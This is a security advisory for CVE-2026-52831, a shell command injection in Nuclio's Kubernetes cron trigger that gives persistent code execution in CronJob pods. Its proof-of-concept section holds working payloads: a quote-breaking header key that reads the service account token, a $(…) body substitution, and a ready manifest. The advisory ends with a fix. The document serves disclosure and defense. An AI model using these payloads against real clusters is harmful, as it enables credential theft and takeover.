critical · 10CVE-2026-52831Jul 8, 2026

CVE-2026-52831: Nuclio Cron Trigger OS Command Injection (Persistent RCE)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Nuclio's Kubernetes cron trigger builds a shell command string from unsanitized user input, letting anyone with Dashboard access run arbitrary commands inside CronJob pods on every scheduled tick, and

Packagegithub.com/nuclio/nuclio
Ecosystemgo
Affected< 0.0.0-20260601075854-3356b86a8bfa
Fixed in0.0.0-20260601075854-3356b86a8bfa

The problem

When a NuclioFunction with a cron trigger is reconciled, the controller calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go` and builds a curl invocation string from trigger attributes. That string is stored verbatim as the `args` of a Kubernetes CronJob container running `/bin/sh -c <command>`.

Two fields flow into the string without adequate sanitization. Header keys from `event.headers` are interpolated directly inside double-quoted shell arguments, so a key containing `"` breaks quoting context and injects raw shell syntax. The event body is passed through `strconv.Quote`, which escapes `"` and `\` but not `$`, `(`, or `)`, leaving command substitution fully intact.

Because the resulting CronJob carries no `ownerReferences`, Kubernetes cascade deletion does not remove it, and an injected CronJob keeps firing even after the source function is deleted.

Proof of concept

A working proof-of-concept for CVE-2026-52831 in github.com/nuclio/nuclio, with the exact payload below.

bash
# Path A: header key injection
# Set event.headers key to:
X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "

# Resulting /bin/sh -c argument (from verified CronJob .args):
curl --silent  --header "X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo ": marker" ...

# Path B: body command substitution
# Set event.body to:
$(id 1>&2; echo BODY_INJECTION_PROOF)

# Resulting /bin/sh -c argument (from verified CronJob .args):
echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && curl ...

# NuclioFunction manifest triggering Path A:
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: rce-demo
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            'X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker

Path A works because `headerKey` is concatenated directly inside a `fmt.Sprintf` double-quoted shell argument with no escaping at `lazy.go:2150`. A key containing `"` terminates the quoting context, and the remainder is parsed as raw shell syntax by `/bin/sh`.

Path B works because `strconv.Quote` wraps the body in double quotes and escapes `"` and `\`, but Go's standard library makes no guarantee about shell metacharacters. The characters `$`, `(`, and `)` pass through untouched, so `$(cmd)` becomes the literal string `"$(cmd)"` in Go, which `/bin/sh` expands as command substitution at execution time (`lazy.go:2188-2192`).

The root cause in both cases is the same: building a shell command by string concatenation and then passing it to `/bin/sh -c` (the sink at `lazy.go:2212`). The persistence issue is a separate design flaw: the controller explicitly notes that CronJobs have no `ownerReferences`, so Kubernetes cascade deletion cannot clean them up automatically.

The fix

Upgrade to Nuclio 1.16.4 (patch commit `3356b86a8bfa`). The preferred fix is to replace the `/bin/sh -c <string>` invocation with an exec-format argument list, passing each curl flag as a separate element of `[]string` so the shell is never involved and no quoting or escaping is needed.

If a shell invocation must be retained, all user-supplied values must be properly POSIX-quoted before interpolation. As a temporary workaround, restrict Dashboard access to trusted networks and avoid creating functions with `kind: cron` triggers.

Reporter not attributed.

References: [1][2][3][4]

Related research